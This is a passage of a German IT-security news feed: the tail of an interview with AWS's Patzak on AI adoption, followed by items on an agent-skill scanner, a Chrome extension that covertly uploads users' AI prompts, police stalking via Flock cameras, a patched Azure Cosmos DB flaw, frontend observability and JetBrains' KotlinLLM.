<p class="wp-block-paragraph"><strong>Patzak</strong>: Das Ergebnis der Studie hat mich selbst überrascht. Ganze 44 Prozent der IT-Ressourcen in deutschen Unternehmen müssen aktuell für die Erfüllung nationaler und internationaler Regularien aufgewendet werden – im europäischen Durchschnitt sind es 42 Prozent. Das ist kein rein deutsches Phänomen, aber ein enormer Block. Unternehmen wollen verständlicherweise alles richtig machen, investieren viel Zeit in Rechtsberatung und Governance. Das bindet Kapazitäten, die in der Entwicklung fehlen.</p>



<p class="wp-block-paragraph">Trotzdem warne ich vor Fatalismus. Wenn Projekte im Sande verlaufen, ist das kein generelles Scheitern, sondern Teil einer gesunden Forschungs- und Entwicklungsphase (R&amp;D). Als drittgrößte Volkswirtschaft der Welt müssen wir diese Neugier und eine kontrollierte Fehlerkultur wieder fest in unseren Führungsetagen verankern.</p>



<h2 class="wp-block-heading">“Jeder Mitarbeiter, der Agenten steuert, wird zur Führungskraft“</h2>



<p class="wp-block-paragraph"><em>Laut Studie haben erst 22 Prozent der Firmen überhaupt von Agenten-gestützter KI, neudeutsch Agentic AI, gehört, lediglich vier Prozent haben sie vollständig implementiert. Gleichzeitig berichten diese wenigen Vorreiter von massiven Produktivitätssteigerungen und Umsatzwachstum. Wie bewerten Sie dieses Potenzial?</em></p>



<p class="wp-block-paragraph"><strong>Patzak</strong>: Das Potenzial für den deutschen Mittelstand und die Industrie ist sehr groß. Ein KI-Agent generiert nicht nur Content oder fasst E-Mails zusammen, sondern er erledigt eigenständig komplexe, mehrstufige Aufgaben innerhalb einer definierten Wertschöpfungskette. Dadurch wird plötzlich jeder Mitarbeiter, der Agenten steuert, quasi zu einer Führungskraft. Man muss dem System Ziele vorgeben, Leitplanken setzen und festlegen, wann es den Fall an den Menschen eskalieren muss.</p>



<p class="wp-block-paragraph"><em>Ein alarmierendes Ergebnis der Studie besagt, dass 42 Prozent der deutschen KI-Startups erwägen, Europa den Rücken zu kehren – meist wegen fehlendem Risikokapital, Talentmangel und Regulierung. Müssen wir uns auf einen „Braindrain“ einstellen?</em></p>



<p class="wp-block-paragraph"><strong>Patzak</strong>: Man muss diese Zahlen dialektisch lesen. Ja, 42 Prozent blicken aufgrund von Skalierungshürden und globalen Marktchancen ins Ausland. Getreu dem Motto „des Nachbars Gras ist immer grüner“ hofft man im Ausland oft auf geringere Betriebskosten oder flexiblere Regulierung, was sich in der Realität nicht immer einstellt.</p>



<p class="wp-block-paragraph">Gleichzeitig sagen aber 33 Prozent der Startups ganz klar: Wir bleiben hier. Sie schätzen die etablierte B2B-Kundenbasis, das stabile politische Umfeld, Spitzenuniversitäten und ein hervorragendes lokales Ökosystem. Es kommt stark auf das Geschäftsmodell an: Ein reines B2C-Digitalprodukt muss extrem schnell global skalieren. Im stark ausgeprägten deutschen B2B-Sektor hingegen ist die räumliche Nähe zu den Industrie- und Mittelstandskunden ein unschätzbarer Vorteil. Beide Wege sind legitim, und AWS unterstützt Gründer über Programme wie AWS Activate gezielt dabei, direkt aus Standorten wie Berlin heraus global zu skalieren.</p>



<h2 class="wp-block-heading">Die neue Rolle des CIOs: Vom Feature-Lieferanten zum Value-Treiber</h2>



<p class="wp-block-paragraph"><em>Sie waren selbst langjähriger CTO bei AutoScout24 sowie Managing Director bei HSE und haben dort massive Cloud- und Agile-Transformationen verantwortet. Wie müssen sich die Rolle des CIOs/CTOs und die IT-Organisation in den kommenden drei bis fünf Jahren verändern?</em></p>



<p class="wp-block-paragraph"><strong>Patzak</strong>: Das Postulat, dass IT und Business gleichberechtigte Partner auf Augenhöhe sein müssen, lese ich in der COMPUTERWOCHE wahrscheinlich schon seit 2010 als wiederkehrendes Mantra. Aber durch generative und agentische KI wird es jetzt zur Existenzfrage. Ein IT-Leiter darf nicht mehr daran gemessen werden, wie viele Features seine Abteilung pro Quartal „über den Zaun wirft“. Die entscheidenden Kennzahlen eines modernen CIOs müssen geschäftsorientierte Kernzahlen sein: Wie entwickelt sich der Kundennutzen? Wie stark optimieren wir die operative Marge durch Automatisierung?</p>



<p class="wp-block-paragraph">Jeder Akteur in der IT-Wertschöpfungskette muss das Business und das Kundenproblem verstehen. Da Low-Code- und Generative-AI-Tools die rein technische Hürde der Softwareentwicklung massiv senken, verschiebt sich der Fokus des IT-Managers komplett auf Wertschöpfung, Governance und die Befähigung der Organisation. Wer diesen Shift verpasst, wird im internationalen Wettbewerb Marktteilnehmern abgehängt. (mb)</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mapping the malware blast radius a single alert won’t show you]]></title>
<description><![CDATA[In this interview with Help Net Security, Mike Wiacek, founder and CTO of Stairwell, explains Backstory, an AI agent that takes a single alert and works outward to map how far a malware campaign spread. He walks through the research behind the claim that each published sample hides an average of ...]]></description>
<link>https://tsecurity.de/de/3700142/it-security-nachrichten/mapping-the-malware-blast-radius-a-single-alert-wont-show-you/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700142/it-security-nachrichten/mapping-the-malware-blast-radius-a-single-alert-wont-show-you/</guid>
<pubDate>Mon, 03 Aug 2026 10:18:47 +0200</pubDate>
<content:encoded><![CDATA[<p>In this interview with Help Net Security, Mike Wiacek, founder and CTO of Stairwell, explains Backstory, an AI agent that takes a single alert and works outward to map how far a malware campaign spread. He walks through the research behind the claim that each published sample hides an average of 2.4 undocumented variants, describes what counts as a related variant, and explains why Stairwell keeps every executable that runs on customer endpoints. Stairwell has … <a href="https://www.helpnetsecurity.com/2026/08/03/mike-wiacek-stairwell-backstory-malware-blast-radius/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/03/mike-wiacek-stairwell-backstory-malware-blast-radius/">Mapping the malware blast radius a single alert won’t show you</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SkillSpector: NVIDIA’s open-source security scanner for AI agent skills]]></title>
<description><![CDATA[SkillSpector is an open-source scanner from NVIDIA that reads an agent skill and tells you whether to install it. Point it at a directory, a zip file, a single SKILL.md, or a Git URL, and it returns a list of findings, a risk score, and recommendations. The folder it reads runs with everything yo...]]></description>
<link>https://tsecurity.de/de/3700143/it-security-nachrichten/skillspector-nvidias-open-source-security-scanner-for-ai-agent-skills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700143/it-security-nachrichten/skillspector-nvidias-open-source-security-scanner-for-ai-agent-skills/</guid>
<pubDate>Mon, 03 Aug 2026 10:18:47 +0200</pubDate>
<content:encoded><![CDATA[<p>SkillSpector is an open-source scanner from NVIDIA that reads an agent skill and tells you whether to install it. Point it at a directory, a zip file, a single SKILL.md, or a Git URL, and it returns a list of findings, a risk score, and recommendations. The folder it reads runs with everything you have. A skill is Markdown instructing the agent, sometimes with a Python script beside it that reaches the shell, the environment … <a href="https://www.helpnetsecurity.com/2026/08/03/skillspector-open-source-agent-skill-security-scanner/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/03/skillspector-open-source-agent-skill-security-scanner/">SkillSpector: NVIDIA’s open-source security scanner for AI agent skills</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[BrainDrain: A Chrome extension that collects your AI prompts without you ever opening it and has 100k users, 9 AI platforms]]></title>
<description><![CDATA["Prompt Optimizer - SecondBrain" (aajjgdpofhhcjmjoombjdfepplndhgcp, v2.3.1). The prompt rewriting works fine. Alongside it a capture engine runs at document_start on 9 AI sites and POSTs prompts and replies to the vendor's ingest endpoint. No interaction with the extension required. Reproduced on...]]></description>
<link>https://tsecurity.de/de/3700131/it-security-nachrichten/braindrain-a-chrome-extension-that-collects-your-ai-prompts-without-you-ever-opening-it-and-has-100k-users-9-ai-platforms/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700131/it-security-nachrichten/braindrain-a-chrome-extension-that-collects-your-ai-prompts-without-you-ever-opening-it-and-has-100k-users-9-ai-platforms/</guid>
<pubDate>Mon, 03 Aug 2026 10:18:04 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>"Prompt Optimizer - SecondBrain" (<a href="https://chromewebstore.google.com/detail/prompt-optimizer-secondbr/aajjgdpofhhcjmjoombjdfepplndhgcp">aajjgdpofhhcjmjoombjdfepplndhgcp</a>, v2.3.1). The prompt rewriting works fine.<br> Alongside it a capture engine runs at <code>document_start</code> on 9 AI sites and POSTs prompts and replies to the vendor's ingest endpoint. No interaction with the extension required.</p> <p>Reproduced on a clean profile, with the service worker devtools open:</p> <ol> <li>Installed the extension. Never opened it.</li> <li>Browsed to an unrelated site. The extension pulled its configuration from the server and wrote a userId and credentials into extension storage.</li> <li>Opened ChatGPT and asked a question. Once the reply finished, a POST to <code>/context</code> went out carrying both the prompt and the response, encrypted with the credentials issued in step 2.</li> </ol> <p><strong>At no point was the extension opened or clicked.</strong></p> <p>Store privacy declaration: "The developer has disclosed that it will not collect or use your data."</p> <p>Write-up : <a href="https://malext.io/reports/BrainDrain/">https://malext.io/reports/BrainDrain/</a></p> <p>If anyone interested in testing it in a sandbox I can share the decryption script for the /context</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Huge-Skirt-6990"> /u/Huge-Skirt-6990 </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1v85odz/braindrain_a_chrome_extension_that_collects_your/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1v85odz/braindrain_a_chrome_extension_that_collects_your/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rogue Police Officers Have Turned Flock's Nationwide Camera Network Into a Stalking Tool]]></title>
<description><![CDATA[A woman found her police officer ex-boyfriend cop had used Flock's camera system 600 times to look up the location of her and her daughter, reports the Washington Post (Alternate URL here). (She found out through Have I Been Flocked, described as "a website that aggregates police search logs made...]]></description>
<link>https://tsecurity.de/de/3700098/it-security-nachrichten/rogue-police-officers-have-turned-flocks-nationwide-camera-network-into-a-stalking-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700098/it-security-nachrichten/rogue-police-officers-have-turned-flocks-nationwide-camera-network-into-a-stalking-tool/</guid>
<pubDate>Mon, 03 Aug 2026 10:17:50 +0200</pubDate>
<content:encoded><![CDATA[A woman found her police officer ex-boyfriend cop had used Flock's camera system 600 times to look up the location of her and her daughter, reports the Washington Post (Alternate URL here). (She found out through Have I Been Flocked, described as "a website that aggregates police search logs made available through public records.") 

But it turns out dozens more police officers have also misused Flock...


Authorities have charged or accused at least 50 law-enforcement officers of using license-plate readers for unauthorized purposes, including to stalk women without their knowledge or consent, a Post analysis of police and court records found. In 26 of these cases, police investigators and prosecutors said the officers used the technology to spy on their wives, their girlfriends, their exes, their exes' new partners or women they wanted to meet. In other cases, police or prosecutors have not specified the alleged surveillance targets. Flock's system was used in 46 of the cases analyzed by The Post, while the other cases involved competing products... 

After The Post relayed its findings to Flock, the company said in a statement it "will soon be announcing better filters and tools to stop abuse before it happens...." In April, the company rolled out a new voluntary "audit assistance" feature, which agencies can choose to enable, that automatically scans officers' searches for suspicious activity, such as queries repeatedly targeting the same vehicle or run by officers off the clock. In an interview with The Post, Flock chief executive Garrett Langley said misuse of its systems is inevitable and that the company is focused on providing tools to catch perpetrators after the fact... "We're not going to change humans, and humans make bad decisions," Langley said. "What we can do is make sure that they know if you use this tool, you will be held accountable...." 



Through automated license-plate reader systems, or ALPRs, officers could trace the rhythms and travels of their subjects' daily lives, leading in some instances to violent confrontations, moments of psychological manipulation, and threats of coercion and control, the analysis found. 

- In Wisconsin, a police officer allegedly used Flock to check whether his ex-girlfriend had gone to an abortion clinic, according to a police affidavit for a case set for trial this month. 
- In Kansas, a police chief who tracked his ex through Flock sneaked up on her while she was intimate with another man, a state police certification body alleged, leading to his firing. 
- In Florida, a deputy speeding to stop a young actress he'd added to a watch list for a license-plate tool called Guardian nearly caused a head-on crash, according to a police report and video from his dashboard camera. The deputy was arrested in March, and his attorney declined to comment. 

- And in California, prosecutors said a former deputy, Alexander Vanny, used Flock as part of a months-long campaign of "stalking" and "humiliating" his former fiancée that also involved following her around town and installing a hidden camera in her roommate's bathroom, according to a sentencing brief... 

While some of the searches resulted in officers' firings, prosecutions and prison sentences, police departments in other cases allowed officers to continue using the systems even after receiving warnings that they were being misused... An array of privacy advocates has argued that Flock could deter bad actors by making simple changes to its product, such as requiring officers to label every search with a criminal case number. Some policing experts also warned that agencies' inconsistencies in developing and enforcing standard procedures for license-plate readers could lead to further misconduct. With no federal laws governing use and only a patchwork of state laws, many of the country's roughly 18,000 police agencies are left to decide their rules on their own... 

Langley, Flock's chief, has dismissed pushes by activists for the company to further limit how officers use its product.
"No one elected me the police chief of America," he told Forbes last year, adding, "I don't think it's our job to police the police." 

The Post also got this quote from an officer was fired and sentenced to probation after pleading no contest to charges of computer-system misuse, stalking and battery. "Pretty much everybody uses that computer system" improperly in the department, he said, and "they don't audit it [nearly] as much as they should." 



Flock told The Post it now has over 120,000 cameras in more than 6,000 communities, recording 20 billion license plate scans every month.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Rogue+Police+Officers+Have+Turned+Flock's+Nationwide+Camera+Network+Into+a+Stalking+Tool%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F08%2F03%2F023205%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F08%2F03%2F023205%2Frogue-police-officers-have-turned-flocks-nationwide-camera-network-into-a-stalking-tool%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/08/03/023205/rogue-police-officers-have-turned-flocks-nationwide-camera-network-into-a-stalking-tool?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Es muss nicht immer Claude Code sein: Warum dieser Entwickler auf chinesische KI-Modelle schwört]]></title>
<description><![CDATA[Der Entwickler Roland Golla setzt beim Coding nicht mehr auf Anthropic oder OpenAI. Bei ihm kommen nur noch chinesische KI-Modelle zum Einsatz. Im Interview erkweiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3700020/it-nachrichten/es-muss-nicht-immer-claude-code-sein-warum-dieser-entwickler-auf-chinesische-ki-modelle-schwoert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700020/it-nachrichten/es-muss-nicht-immer-claude-code-sein-warum-dieser-entwickler-auf-chinesische-ki-modelle-schwoert/</guid>
<pubDate>Mon, 03 Aug 2026 10:16:59 +0200</pubDate>
<content:encoded><![CDATA[Der Entwickler Roland Golla setzt beim Coding nicht mehr auf Anthropic oder OpenAI. Bei ihm kommen nur noch chinesische KI-Modelle zum Einsatz. Im Interview erk<a href="https://t3n.de/news/chinesische-ki-modelle-coder-1756018/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[EU-Social-Media-Projekt Eurosky: "Alle Nutzer haben die Hoheit über ihre Daten"]]></title>
<description><![CDATA[Warum es kein europäisches Facebook braucht, sondern ein offenes Netzwerk für ein europäisches Social Media, erklärt uns Eurosky-Mitgründer Sebastian Vogelsang. Ein Interview von Lars Lubienetzki (Souveränität, Soziales Netz)]]></description>
<link>https://tsecurity.de/de/3699993/it-nachrichten/eu-social-media-projekt-eurosky-alle-nutzer-haben-die-hoheit-ueber-ihre-daten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699993/it-nachrichten/eu-social-media-projekt-eurosky-alle-nutzer-haben-die-hoheit-ueber-ihre-daten/</guid>
<pubDate>Mon, 03 Aug 2026 10:16:10 +0200</pubDate>
<content:encoded><![CDATA[Warum es kein europäisches Facebook braucht, sondern ein offenes Netzwerk für ein europäisches Social Media, erklärt uns Eurosky-Mitgründer Sebastian Vogelsang. Ein Interview von Lars Lubienetzki (<a href="https://www.golem.de/specials/digitalesouveraenitaet/">Souveränität</a>, <a href="https://www.golem.de/specials/socialnetwork/">Soziales Netz</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=210542&amp;page=1&amp;ts=1785742982" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft almost gave away the keys to everyone’s Azure Cosmos DBs]]></title>
<description><![CDATA[Microsoft has had a narrow escape from total embarrassment: A security company uncovered a critical vulnerability that could have compromised all Azure Cosmos DB databases — both those of customers and Microsoft’s own.



Google subsidiary Wiz found a flaw in the database’s Gremlin API, usually u...]]></description>
<link>https://tsecurity.de/de/3699895/ai-nachrichten/microsoft-almost-gave-away-the-keys-to-everyones-azure-cosmos-dbs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699895/ai-nachrichten/microsoft-almost-gave-away-the-keys-to-everyones-azure-cosmos-dbs/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has had a narrow escape from total embarrassment: A security company uncovered a critical vulnerability that could have compromised all Azure Cosmos DB databases — both those of customers and Microsoft’s own.</p>



<p class="wp-block-paragraph">Google subsidiary Wiz found a flaw in the database’s Gremlin API, usually used for storing and managing property graph data.</p>



<p class="wp-block-paragraph">If bad actors had discovered it first, they could have exploited it to acquire what Wiz called the Cosmos Master Key, which would have enabled them to use the primary key of any Cosmos database, resulting in read and write access to any account. They would also have had access to a list of every database on the service, with identifiers such as subscription and tenant IDs.</p>



<p class="wp-block-paragraph">Azure Cosmos DB is a NoSQL database that underpins Microsoft’s cloud services. It can be accessed through SDKs for framework such as Python, Node.js, Java, and .NET.</p>



<p class="wp-block-paragraph"><a href="https://www.wiz.io/blog/cosmosescape-taking-over-every-database-in-azure-cosmos-db" target="_blank" rel="noreferrer noopener">Wiz described how it discovered the vulnerability</a> in a blog post. It disclosed details of the flaw to Microsoft in November 2025.</p>



<p class="wp-block-paragraph">Microsoft deployed a hot fix within two days, but it took another eight months to re-engineer the infrastructure, removing the Cosmos Master Key and introducing new guardrails to Cosmos DB to prevent similar attacks.</p>



<p class="wp-block-paragraph">It is not the first time Cosmos DB customers’ primary keys have been under threat: In 2021, <a href="https://www.csoonline.com/article/571251/cosmos-db-users-advised-to-regenerate-their-keys-following-serious-vulnerability.html">Wiz found a flaw in data exploration tool Jupyter Notebook</a> that could be exploited to access the database keys and other secrets.</p>



<p class="wp-block-paragraph"><em>This article first appeared on CSO.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why observability matters to frontend teams more than they think]]></title>
<description><![CDATA[For a long time, I thought of observability as something mainly owned by backend, platform or site reliability teams. Frontend engineers built the interface, handled browser behavior and called APIs. When something failed deeper in the system, another team looked at server logs and infrastructure...]]></description>
<link>https://tsecurity.de/de/3699898/ai-nachrichten/why-observability-matters-to-frontend-teams-more-than-they-think/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699898/ai-nachrichten/why-observability-matters-to-frontend-teams-more-than-they-think/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For a long time, I thought of observability as something mainly owned by backend, platform or site reliability teams. Frontend engineers built the interface, handled browser behavior and called APIs. When something failed deeper in the system, another team looked at server logs and infrastructure dashboards.</p>



<p class="wp-block-paragraph">That division works until the application is technically available, but the user experience is not.</p>



<p class="wp-block-paragraph">A page may load while its most important data arrives several seconds late. A request may succeed after multiple retries, leaving the user staring at a spinner. One cloud service may slow down while the rest of the page continues working. From an infrastructure perspective, nothing may qualify as an outage. From the user’s perspective, the application is already failing.</p>



<p class="wp-block-paragraph">As I gained more experience building applications that depended on cloud services and APIs, my view of frontend ownership changed. A frontend team does not need to operate every service it depends on, but it does need enough visibility to understand how those services affect the experience it delivers.</p>



<p class="wp-block-paragraph">Observability gives frontend engineers that visibility. It helps connect what happens in the browser with what happens across the systems behind it. More importantly, it gives teams evidence they can use not only to debug problems, but also to make better decisions about how the frontend should behave when dependencies are slow, unavailable or inconsistent.</p>



<h2 class="wp-block-heading">The browser sees a different version of the system</h2>



<p class="wp-block-paragraph">Server-side monitoring tells us what happened inside a service. It does not always tell us what happened across the user’s complete journey.</p>



<p class="wp-block-paragraph">A backend dashboard might show that an API responded in 300 milliseconds. The browser may still take much longer to display useful content because of network latency, JavaScript execution, rendering work or additional requests. A successful response can also produce a broken experience if the returned data is incomplete or the interface fails while processing it.</p>



<p class="wp-block-paragraph">This is why client-side telemetry matters. Browser error reporting can capture exceptions that never reach a server. Performance measurements can show how long users wait for content to become visible or interactive. Request data can reveal which dependencies are slow, unreliable or frequently retried.</p>



<p class="wp-block-paragraph">Standard browser APIs provide useful starting points. The<a href="https://www.w3.org/TR/user-timing/"> </a><a href="https://www.w3.org/TR/user-timing/">W3C User Timing API</a> allows developers to mark and measure meaningful operations in an application. A team can measure how long it takes to load a dashboard, complete a search or render a critical section of a page.</p>



<p class="wp-block-paragraph"><a href="https://web.dev/articles/vitals">Web Vitals</a> can also help teams examine loading performance, responsiveness and visual stability using measurements tied more closely to the user experience. These metrics are useful because they move the conversation beyond whether a request succeeded. They help answer whether the page became useful quickly and respond when the user tried to interact with it.</p>



<p class="wp-block-paragraph">The goal is not to collect every browser event. That can produce a large amount of data without producing much insight. It is better to begin with a small set of questions.</p>



<p class="wp-block-paragraph">How long does the user wait before the main content appears? How often does a form submission fail? Which request prevents a page from becoming usable? Are users on certain devices or network conditions affected more often?</p>



<p class="wp-block-paragraph">These questions make telemetry easier to design and easier to interpret. “The API is available” is a service-level statement. “The user can complete the task without an unexpected delay” is an experience-level statement. Frontend observability helps connect the two.</p>



<h2 class="wp-block-heading">Logs and traces connect the frontend to its dependencies</h2>



<p class="wp-block-paragraph">Client-side logs are most valuable when they include enough context to reconstruct what the user was doing. A useful error record might include the application version, route, operation, request status and a correlation identifier. Browser information may also help when an issue affects only certain environments.</p>



<p class="wp-block-paragraph">At the same time, frontend telemetry should be designed carefully. Logs should avoid form contents, authentication tokens, passwords and other sensitive information. Collecting more data does not automatically make an investigation easier. The right context is more useful than a large amount of unstructured information.</p>



<p class="wp-block-paragraph">Correlation identifiers are particularly helpful. When the frontend includes an identifier with a request and that identifier continues through downstream services, teams can connect a browser failure to backend logs and distributed traces. Instead of comparing timestamps across several dashboards, engineers can follow one request across the system.</p>



<p class="wp-block-paragraph">A distributed trace can show that a user action triggered an API gateway, an application service, a database call and another cloud dependency. It can also show where the request spent most of its time or where an error first appeared.</p>



<p class="wp-block-paragraph"><a href="https://opentelemetry.io/docs/">OpenTelemetry</a> provides a vendor-neutral approach for generating and connecting telemetry such as traces, metrics and logs. It also supports JavaScript and browser instrumentation, which makes it relevant to frontend teams that want to connect browser activity with backend services.</p>



<p class="wp-block-paragraph">Frontend engineers do not need to become observability platform specialists. They do need agreement with backend and platform teams on basics such as trace propagation, naming conventions, safe logging fields and where telemetry can be reviewed during an investigation.</p>



<p class="wp-block-paragraph">Consider a page that occasionally loads without its main data. The frontend may record that a critical request timed out after several seconds. A correlation identifier from that request may lead to a trace showing that the gateway responded normally, but a downstream dependency exceeded its timeout.</p>



<p class="wp-block-paragraph">Without connected telemetry, the report might remain, “The page sometimes does not load.” With connected telemetry, the team has a specific failure path, a measurable delay and enough evidence to decide what needs to change.</p>



<p class="wp-block-paragraph">That evidence can support two actions. The service team can investigate the slow dependency. The frontend team can improve the experience by adding a timeout state, retry option or partial fallback. Observability makes both responses more precise.</p>



<h2 class="wp-block-heading">Observability should influence architecture, not only debugging</h2>



<p class="wp-block-paragraph">The immediate benefit of observability is faster incident investigation. The larger benefit is better architectural decision-making.</p>



<p class="wp-block-paragraph">When telemetry repeatedly shows that one dependency is slow, the frontend team can reconsider how tightly the interface depends on it. The page might render primary content first and load secondary information later. Cached data might be acceptable for a noncritical section. A timeout might lead to a smaller fallback instead of blocking the entire screen.</p>



<p class="wp-block-paragraph">Observability can also expose hidden coupling. If unrelated components fail whenever one shared request slows down, the page may have been designed as a single loading unit. Breaking the experience into independently recoverable sections can make the interface more resilient.</p>



<p class="wp-block-paragraph">The same evidence can improve retry behavior. Automatic retries may help with a temporary network failure, but they can also add more traffic to an already slow service. Telemetry can show whether retries recover requests, how long the recovery takes and whether users leave the page before it succeeds.</p>



<p class="wp-block-paragraph">Service-level visibility matters as well. Frontend teams should understand the availability and latency expectations of the services they use. They should also understand what those services return during partial failures.</p>



<p class="wp-block-paragraph">If a dependency may respond slowly, the interface needs a loading strategy. If data may be stale, the interface needs to communicate freshness. If a service is optional, the page should not collapse when it is unavailable.</p>



<p class="wp-block-paragraph">Good observability also improves conversations between teams. Instead of saying, “The page feels slow,” frontend engineers can explain which user action is affected, how often it happens and where the delay appears. Debugging becomes a discussion based on evidence rather than guesswork.</p>



<p class="wp-block-paragraph">A practical starting point can be small. Capture unhandled browser errors. Measure a few important user journeys. Record failures for critical network requests. Propagate a correlation identifier across frontend and backend systems. Review those signals with the teams that own dependent services.</p>



<p class="wp-block-paragraph">From there, instrumentation should grow in response to real questions. Add a measurement when a workflow is difficult to understand. Add a trace when a request crosses several systems. Add a dashboard when a signal is important enough to review regularly.</p>



<p class="wp-block-paragraph">Frontend observability is not about turning every frontend engineer into an operations engineer. It is about recognizing that the browser is part of the production system and often the only place where the complete user experience is visible.</p>



<p class="wp-block-paragraph">When frontend teams can connect what users experience with the services behind it, they can debug more effectively, design interfaces that degrade gracefully and make better architectural decisions. Observability becomes more than a way to explain incidents. It becomes an input into how frontend systems are designed.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[JetBrains open sources KotlinLLM runtime code generator]]></title>
<description><![CDATA[KotlinLLM, a research prototype for delegating runtime logic to a large language model (LLM) from Kotlin code, is now going open source and public, JetBrains announced.



Revealed July 28, KotlinLLM is an IntelliJ IDEA plugin prototype for experimenting with LLM-driven “Smart macros” in Kotlin, ...]]></description>
<link>https://tsecurity.de/de/3699901/ai-nachrichten/jetbrains-open-sources-kotlinllm-runtime-code-generator/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699901/ai-nachrichten/jetbrains-open-sources-kotlinllm-runtime-code-generator/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">KotlinLLM, a research prototype for delegating runtime logic to a <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language model</a> (LLM) from <a href="https://www.infoworld.com/article/2256390/what-is-kotlin-the-java-alternative-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2256390/what-is-kotlin-the-java-alternative-explained.html">Kotlin</a> code, is now going open source and public, JetBrains announced.</p>



<p class="wp-block-paragraph">Revealed <a href="https://blog.jetbrains.com/research/2026/07/kotlinllm-open-source/">July 28</a>, <a href="https://github.com/JetBrains-Research/kotlinllm-plugin">KotlinLLM</a> is an IntelliJ IDEA plugin prototype for experimenting with LLM-driven “Smart macros” in Kotlin, enabling code generation, runtime updates, and hot-reloading. In software engineering, LLMs are commonly used during development for code completion, code generation, and program comprehension, JetBrains noted, but using an LLM at run time of a compiled application is much less common. The existing options for doing this have the following trade-offs, according to JetBrains:</p>



<ul class="wp-block-list">
<li>Direct runtime delegation is slow, non-deterministic, and costly, and makes the application depend on an LLM service at run time.</li>



<li>External agent workflows<strong> </strong>keep the generated logic outside the codebase, where it is harder to review, test, and ship.</li>



<li>Most prior work (<a href="https://arxiv.org/abs/2405.08965" target="_blank" rel="noreferrer noopener">byLLM</a>, <a href="https://openreview.net/forum?id=E7ZZRnBQU7" target="_blank" rel="noreferrer noopener">nightjar</a>, <a href="https://arxiv.org/abs/2408.01055" target="_blank" rel="noreferrer noopener">Healer</a>) targets interpreted languages like Python, not a compiled, statically typed language like Kotlin.</li>
</ul>



<p class="wp-block-paragraph">KotlinLLM addresses these limitations in three ways, JetBrains said: </p>



<ul class="wp-block-list">
<li>The call site shows that a feature is LLM-backed, so it is visible in code review.</li>



<li>Generated behavior is saved as an ordinary Kotlin source, not kept only in the runtime session. It can be committed, reviewed, tested, and distributed like any other code.</li>



<li>Once generated, the code runs as plain Kotlin without the plugin. For scenarios that are already covered, there is no further LLM call, so no added latency or cost, and the result is reproducible.</li>
</ul>



